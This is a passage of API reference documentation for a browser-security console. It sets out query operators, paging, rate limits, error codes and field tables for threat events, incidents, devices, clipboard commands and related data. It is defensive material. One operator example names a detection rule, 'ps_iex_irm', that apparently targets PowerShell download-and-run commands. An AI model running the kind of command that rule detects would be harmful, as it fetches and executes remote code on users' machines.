["2026-11-01T00:00:00Z", "2026-11-02T00:00:00Z"]}` | | `in` | a list of 1 to 500 values | equal to one of the values | `{"p": "event_type", "op": "in", "v": ["clipboard", "phishing"]}` | | `not_in` | a list of 1 to 500 values | none of the values (also true when the field is empty) | `{"p": "status", "op": "not_in", "v": ["resolved", "false_positive"]}` | | `contains` | text | contains the text (not case sensitive) | `{"p": "url", "op": "contains", "v": "login"}` | | `starts_with` | text | starts with the text | `{"p": "url", "op": "starts_with", "v": "https://"}` | | `ends_with` | text | ends with the text; on a domain field it also matches the domain itself, so example.com finds example.com and www.example.com | `{"p": "site", "op": "ends_with", "v": "example.com"}` | | `has_item` | one item | a list field (for example the rules of an event) contains the item | `{"p": "rules_csv", "op": "has_item", "v": "ps_iex_irm"}` | | `is_null` | no value | the field has no value | `{"p": "incident_id", "op": "is_null"}` | | `not_null` | no value | the field has a value | `{"p": "incident_id", "op": "not_null"}` | | `is_empty` | no value | the field has no value or an empty text | `{"p": "source", "op": "is_empty"}` | | `not_empty` | no value | the field has a non-empty text | `{"p": "source", "op": "not_empty"}` | | `last` | {"n": number, "unit": "second", "minute", "hour" or "day"} | within the last period (up to 10 years) | `{"p": "event_time", "op": "last", "v": {"n": 7, "unit": "day"}}` | ##### 4.5 Reading more than one page When more rows exist than fit in one answer, `next_cursor` is a string. Send **the same query again** with `"cursor": ""` and you get the next page; stop when `next_cursor` is `null` (recipe 3.1 does exactly this). A cursor belongs to its query: if you change anything else in the query, the console refuses the cursor (`bad_cursor`) and you start again without one. Rows are never skipped or repeated between pages. `truncated: true` means the console cut an answer at its size limit before `limit` rows; continue with `next_cursor` as usual. **Tip** Read all the pages of a query in one go. New events keep arriving while you read; after a long pause, start again without a cursor to get a fresh, consistent copy. ##### 4.6 Limits and errors Limits keep one integration from slowing the console down for everyone. When you reach one, the answer says how long to wait. | Limit | Value | | --- | --- | | Rows per answer | up to 1000 (default 100); continue with `next_cursor` | | Data per answer | 2 MB (`truncated: true` when an answer was cut; at least one row is always returned) | | Request body | 256 KB | | Query size | 64 conditions, 4 levels of any / all / not, 60 columns, 500 values in one `in` list, 5 counts of related objects | | Queries per minute, per key | as set on the key (default 120, at most 600) | | Requests per day, per key | as set on the key (at most 1,000,000) | | Catalog calls per minute, per key | 60 | | All keys of your organization together | 600 requests per minute | | Requests per minute from one IP address | 1200 (queries), 600 (catalog) | | Refused authentications from one IP address | 20 per 10 minutes (protects against guessing keys) | | Active keys per organization | 20 | | Query time | a query that runs too long is stopped (`query_timeout`) | Every error answer has the same shape — `ok` is `false`, `error` names the problem, `message` (most errors) explains it in words: ``` {"ok": false, "error": "invalid_query", "reason": "bad_operator", "message": "Operator contains is not allowed for Severity."} ``` | HTTP | `error` | What happened | What to do | | --- | --- | --- | --- | | 400 | `empty_body` | a POST without a body | send the query as a JSON object | | 400 | `invalid_json` | the body is not a JSON object | send one JSON object | | 400 | `invalid_query` | the query cannot be run; "reason" and "message" say why (reasons below) | fix the query | | 401 | `api_key_expired` | the key passed its expiry date | create a new key, or ask an administrator to change the date | | 401 | `api_key_owner_disabled` | the person who created the key was disabled, so the key was revoked | an administrator creates a new key | | 401 | `api_key_revoked` | the key was revoked | create a new key | | 401 | `device_token_not_accepted` | a browser extension credential was sent instead of an API key | use an API key (ngk_…) | | 401 | `missing_or_malformed_key` | no key, or not in the form ngk_ + 48 characters | send Authorization: Bearer | | 401 | `unknown_api_key` | the key does not exist | check that you copied the whole key | | 403 | `feature_not_available` | the Read API, or this data type, is not part of your plan | contact your provider | | 403 | `forbidden` | the key's role or data types do not allow this type or field | use a key with the needed role and data types | | 403 | `https_required` | the request used plain HTTP and this console accepts only HTTPS | use https:// | | 403 | `ip_not_allowed` | the request comes from an address that is not in the key's allow-list | call from an allowed address, or update the list | | 403 | `tenant_suspended` | your organization's console is suspended | contact your provider | | 404 | `not_found` | no object with this id in your organization | check the id | | 404 | `unknown_type` | the data type does not exist | GET catalog.php lists the types your key can read | | 405 | `method_not_allowed` | wrong HTTP method | GET for the catalog and single objects, POST for queries | | 413 | `payload_too_large` | the body is over the size limit | make the query smaller | | 429 | `rate_limited` | too many requests; "scope" says which limit and "retry_after_sec" how long to wait | wait retry_after_sec seconds, then continue | | 500 | `server_error` | an error on the console | try again later; if it persists, tell your provider | | 503 | `not_installed` | the console is not installed yet | contact your provider | | 503 | `query_timeout` | the query took too long | add a time filter, ask for fewer rows or use core.event_summary | `rate_limited` answers also carry `scope` (which limit) and `retry_after_sec`. The scopes: | `scope` | The limit reached | | --- | --- | | `ip` | requests from one IP address | | `ip_refused` | refused authentications from one IP address | | `key` | this key's requests per minute | | `key_daily` | this key's requests per day | | `tenant` | all keys of your organization together | `invalid_query` answers carry a `reason`: | `reason` | Meaning | | --- | --- | | `bad_aggregate` | a calculation this field does not offer | | `bad_alias` | a name given with "as" that is not valid or is used twice | | `bad_columns` | no columns, too many, or a combination that needs `group` (plain fields together with calculations) | | `bad_cursor` | a cursor that does not belong to this query | | `bad_filter` | a condition that cannot be used (for example on a field that cannot be filtered) | | `bad_group` | a field that cannot be grouped | | `bad_limit` | a limit outside 1 to the maximum | | `bad_operator` | an operator this field does not accept (see its operators in 4.7) | | `bad_paging` | more than one of cursor, page and offset; an offset below 0 or a page below 1; or paging past its upper bound | | `bad_property` | a field name that does not exist for this type | | `bad_request` | a GET without both type and id | | `bad_sort` | a sort on a field that cannot be sorted | | `bad_spec` | a value of the wrong kind somewhere in the query | | `bad_value` | a value that does not fit the field or the operator | | `needs_time_filter` | the query reads the raw payload of events (a sensitive field): add a time filter, for example the last 7 days | | `too_complex` | too many conditions, nesting levels or values | | `unknown_field` | a field in the request that the API does not know (allowed: type, columns, filters, search, group, sort, limit, offset, page, cursor) | ##### 4.7 Every data type and every field For each data type: what it holds, what it needs, its key and time fields, the fields the free-text `search` looks in, the fields you get without `columns`, the related objects (use them as `"relation.field"`, for example `"device.label"`) and then every field. In the field tables: **Ops** = the operators the field accepts (empty = it cannot be filtered); **Sort** / **Group** = it can be sorted / grouped ( **time** = grouped by hour, day, week or month); **Calc** = the calculations it offers. ###### `core.event` — Threat Events Threat events reported by your browsers. The time field is event_time. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; time field: `event_time` - `search` looks in: `event_id`, `hostname`, `site`, `url`, `rules_csv`, `evidence_sha256` - Without `columns`: `event_time`, `severity`, `event_type`, `site`, `device.label`, `action`, `blocked` - Related objects: `device` → `core.device` (one), `incident` → `core.incident` (one), `rules` → `core.event_rule` (many: count them or filter with exists) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `event_id` | Event ID | text | eq, in | yes | | | | | `event_type` | Type | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count, count_distinct | the event types below | | `is_telemetry` | Telemetry | bool | eq | yes | yes | sum | | | `event_time` | Time | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `received_at` | Received | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `action_authoritative` | Action authoritative | bool | eq | yes | yes | sum | | | `document_id` | Document ID | text | eq, in | yes | | | | | `frame_id` | Frame ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `frame_url` | Frame URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `enforcement_reason` | Enforcement reason | text | contains, is_null, not_null | | | | | | `escalation` | Severity raised by the console | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | | | | | | `user_reported_at` | Reported by the user | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `command_hash` | Command (SHA-256) | hash | eq, in, is_null, not_null | yes | yes | count_distinct | | | `write_class` | How the command reached the clipboard | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `notification_status` | Notification status | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `notification_reason` | Notification reason | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `evidence_source` | Evidence source | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `evidence_hash_algorithm` | Evidence hash algorithm | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `evidence_byte_length` | Evidence bytes | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `page_entity_hash` | Page entity hash | hash | eq, in, is_null, not_null | yes | yes | | | | `severity` | Severity | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count | values: `info`, `low`, `medium`, `high`, `critical` | | `severity_rank` | Severity rank | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max, sum | | | `action` | Action | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `blocked` | Blocked | bool | eq | yes | yes | sum | | | `would_block` | Would block | bool | eq | yes | yes | sum | | | `repeat_count` | Repeats | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `last_repeat_at` | Last repeat | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `url` | URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `hostname` | Host | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `site` | Site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `top_level_url` | Top-level URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `target_url` | Target URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `source` | Source | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `source_trust` | Source trust | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `signal_strength` | Signal strength | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `confidence` | Confidence | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max | | | `score` | Score | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max, sum | | | `site_score` | Site score | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, min, max | | | `enforcement` | Enforcement | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `rules_csv` | Rules | csv | has_item, contains, is_empty, not_empty | | | | | | `mitre_csv` | MITRE ATT&CK | csv | has_item, contains, is_empty, not_empty | | | | | | `evidence_sha256` | Evidence SHA-256 | hash | eq, in, is_null, not_null | yes | yes | count_distinct | | | `evidence_length` | Evidence length | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `evidence_truncated` | Evidence truncated | bool | eq | yes | yes | sum | | | `evidence_text` | Evidence | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data | | `policy_id` | Policy ID | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `correlation_id` | Correlation ID | text | eq, in | yes | | | | | `ext_incident_id` | Extension incident ID | text | eq, in | yes | | | | | `incident_id` | Incident | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | count_distinct | | | `device_id` | Device | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | count_distinct | | | `browser_session_id` | Browser session | text | eq, in | yes | | | | | `artifact_type` | Artifact type | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `artifact_hash` | Artifact hash | hash | eq, in, is_null, not_null | yes | yes | | | | `resource_count` | Resource count | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `extension_version` | Extension version | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `payload_json` | Raw payload | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data; only together with a time filter | | `lure_url` | Lure URL | url | eq, contains | | | | only together with a time filter | ###### `core.event_rule` — Rule Matches Which detection rule matched which event: one row per event and rule. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `event_pk`; time field: `event_time` - `search` looks in: nothing (free-text search is not available) - Without `columns`: every field - Related objects: `event` → `core.event` (one) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `event_pk` | Event | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `rule_id` | Rule | text | eq, in, starts_with, contains | yes | yes | count, count_distinct | | | `event_time` | Time | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.device` — Devices Your enrolled browsers. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; no time field - `search` looks in: `label`, `hostname`, `installation_id` - Without `columns`: `label`, `status`, `extension_version`, `last_seen_at` - Related objects: `incidents` → `core.incident` (many: count them or filter with exists), `events` → `core.event` (many: count them or filter with exists) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `installation_id` | Installation ID | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `label` | Label | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `hostname` | Hostname | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `platform` | Platform | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `browser` | Browser | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `extension_version` | Extension version | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `status` | Status | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | | values: `active`, `disabled`, `revoked` | | `cloud_state` | Cloud state | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `license_state` | Licence state (reported) | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `ent_seq_reported` | Entitlement # (reported) | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `license_reported_at` | Licence reported | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `queue_length` | Queue | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `event_count` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `last_event_at` | Last event | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_ip` | Last IP | ip | eq, in, starts_with | yes | | | | | `created_at` | Enrolled | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.incident` — Incidents Incidents: the threat events of one browser on one site within 30 minutes, grouped as one attack. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: `site`, `title` - Without `columns`: every field - Related objects: `device` → `core.device` (one), `assignee` → `core.user` (one), `events` → `core.event` (many: count them or filter with exists) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `device_id` | Device | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | | | | `site` | Site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `title` | Title | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `status` | Status | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | | values: `open`, `investigating`, `resolved`, `false_positive` | | `severity` | Severity | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | count | values: `info`, `low`, `medium`, `high`, `critical` | | `severity_rank` | Severity rank | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max, sum | | | `risk_score` | Risk | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `event_count` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `types_csv` | Event types | csv | has_item, contains, is_empty, not_empty | | | | | | `rules_csv` | Rules | csv | has_item, contains, is_empty, not_empty | | | | | | `mitre_csv` | MITRE ATT&CK | csv | has_item, contains, is_empty, not_empty | | | | | | `chain_verdict` | Chain | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `blocked_count` | Blocked | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `assignee_user_id` | Assignee | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | | | | `ext_incident_ids` | Extension incident IDs | text | contains | | | | | | `notes` | Notes | text | contains | | | | | | `updated_at` | Updated | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `resolved_at` | Resolved | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `created_at` | Created | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.user` — Users The people of your console (names only, for the assignee of incidents). - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; no time field - `search` looks in: nothing (free-text search is not available) - Without `columns`: every field - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `username` | Username | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `display_name` | Name | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | ###### `core.domain` — Intelligence — Domains Intelligence: every domain seen in your events or reported by your browsers, with its risk and verdict. - Available with: the Intelligence feature; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: nothing (free-text search is not available) - Without `columns`: every field - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `domain` | Domain | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | | | | `site` | Site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `threat_event_count` | Threat events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `telemetry_count` | Telemetry | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `device_count` | Devices | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `max_severity_rank` | Max severity | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max, sum | | | `blocked_count` | Blocked | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `types_csv` | Event types | csv | has_item, contains, is_empty, not_empty | | | | | | `risk_score` | Risk | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | sum, avg, min, max | | | `ext_score` | Sensor score | number | eq, neq, lt, lte, gt, gte, between, is_null, not_null | yes | | avg, max | | | `ext_classification` | Sensor classification | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `ext_label` | Site label | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `ext_label_reason` | Site label reason | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | | | | | | `ext_labels` | Site labels | csv | has_item, contains, is_empty, not_empty | | | | | | `ext_label_source` | Site label set by | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `ext_label_note` | Site evidence note | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | | | | | | `ext_updated_at` | Sensor update | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `ext_signals_json` | Sensor signals | text | contains | | | | | | `ext_contract_keys` | Sensor contract keys | text | contains | | | | | | `verdict_by` | Verdict by | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `verdict` | Verdict | enum | eq, neq, in, not_in, gte, lte, is_null, not_null | yes | yes | | values: `malicious`, `suspicious`, `benign`, `unknown` | | `verdict_note` | Verdict note | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | | | | | `verdict_at` | Verdict time | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.artifact` — Artifacts Files and scripts seen (by hash). - Available with: the Artifacts feature; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: nothing (free-text search is not available) - Without `columns`: every field - Related objects: `sample` → `core.event` (one) | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `sha256` | SHA-256 | hash | eq, in, is_null, not_null | yes | | | | | `kind` | Kind | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `event_count` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `device_count` | Devices | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `site_count` | Sites | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `types_csv` | Event types | csv | has_item, contains, is_empty, not_empty | | | | | | `sample_event_pk` | Sample event | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `verdict` | Verdict | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | ###### `core.command` — Commands Commands that pages tried to put on the clipboard (by hash), with what they would have done. - Available with: every plan with the Read API; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: `cmd_hash`, `template_hash`, `payload_hosts` - Without `columns`: `last_seen_at`, `interpreter`, `write_class`, `events`, `detected_only`, `cmd_hash` - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `cmd_hash` | Command SHA-256 | hash | eq, in, is_null, not_null | yes | yes | | | | `template_hash` | Template SHA-256 | hash | eq, in, is_null, not_null | yes | yes | count_distinct | | | `template_text` | Template | text | eq, contains | | | | | | `interpreter` | Interpreter | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `write_class` | How it reached the clipboard | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `command_text` | Command | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data | | `decoded_text` | Decoded command | text | contains | | | | **sensitive** : only an analyst key allowed to read sensitive data | | `payload_hosts` | Download hosts | csv | has_item, contains, is_empty, not_empty | | | | | | `rules_csv` | Rules | csv | has_item, contains, is_empty, not_empty | | | | | | `events` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `blocked` | Blocked | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `replaced` | Clipboard cleaned | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `detected_only` | Could have run | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.resource` — Resource Lineage Resource lineage: which page loaded which resource. - Available with: the Resource Lineage feature; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: `resource_site`, `page_site`, `resource_url` - Without `columns`: every field - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `identity_hash` | Identity hash | hash | eq, in, is_null, not_null | yes | | | | | `resource_url` | Resource URL | url | eq, contains, starts_with, is_null, not_null, is_empty, not_empty | | | | | | `resource_host` | Resource host | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | | | | `resource_site` | Resource site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `resource_type` | Resource type | text | eq, in, neq | yes | yes | | | | `page_site` | Page site | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | count_distinct | | | `third_party` | Third party | bool | eq | yes | yes | sum | | | `observations` | Observations | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.rpc_endpoint` — Web3 — RPC Endpoints Web3: the blockchain RPC endpoints pages talked to. - Available with: the Web3 feature; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: `endpoint_host`, `provider`, `sites_csv` - Without `columns`: every field - Related objects: none | Field | Label | Type | Ops | Sort | Group | Calc | Notes | | --- | --- | --- | --- | --- | --- | --- | --- | | `id` | ID | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | | | | `endpoint_host` | Endpoint | domain | eq, neq, in, not_in, ends_with, contains, is_null, not_null, is_empty, not_empty | yes | yes | | | | `provider` | Provider | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `chain` | Chain | text | eq, neq, in, not_in, contains, starts_with, ends_with, is_null, not_null, is_empty, not_empty | yes | yes | | | | `methods_csv` | Methods | csv | has_item, contains, is_empty, not_empty | | | | | | `sites_csv` | Sites | csv | has_item, contains, is_empty, not_empty | | | | | | `intents_csv` | Intents | csv | has_item, contains, is_empty, not_empty | | | | | | `event_count` | Events | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `block_count` | Blocks | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | | sum, avg, min, max | | | `max_severity_rank` | Max severity | integer | eq, neq, lt, lte, gt, gte, between, in, not_in, is_null, not_null | yes | yes | min, max, sum | | | `first_seen_at` | First seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | | `last_seen_at` | Last seen | datetime | between, gt, gte, lt, lte, last, is_null, not_null | yes | time | min, max | | ###### `core.web3_contract` — Web3 — Contracts Web3: smart contracts pages read or called. - Available with: the Web3 feature; at most 1000 rows per answer. - Key field: `id`; time field: `last_seen_at` - `search` looks in: `address`, `contract_key`, `contract_name`, `websites_json` - Without `columns`: every field - Related objects: none | Field | Label | Type | Ops 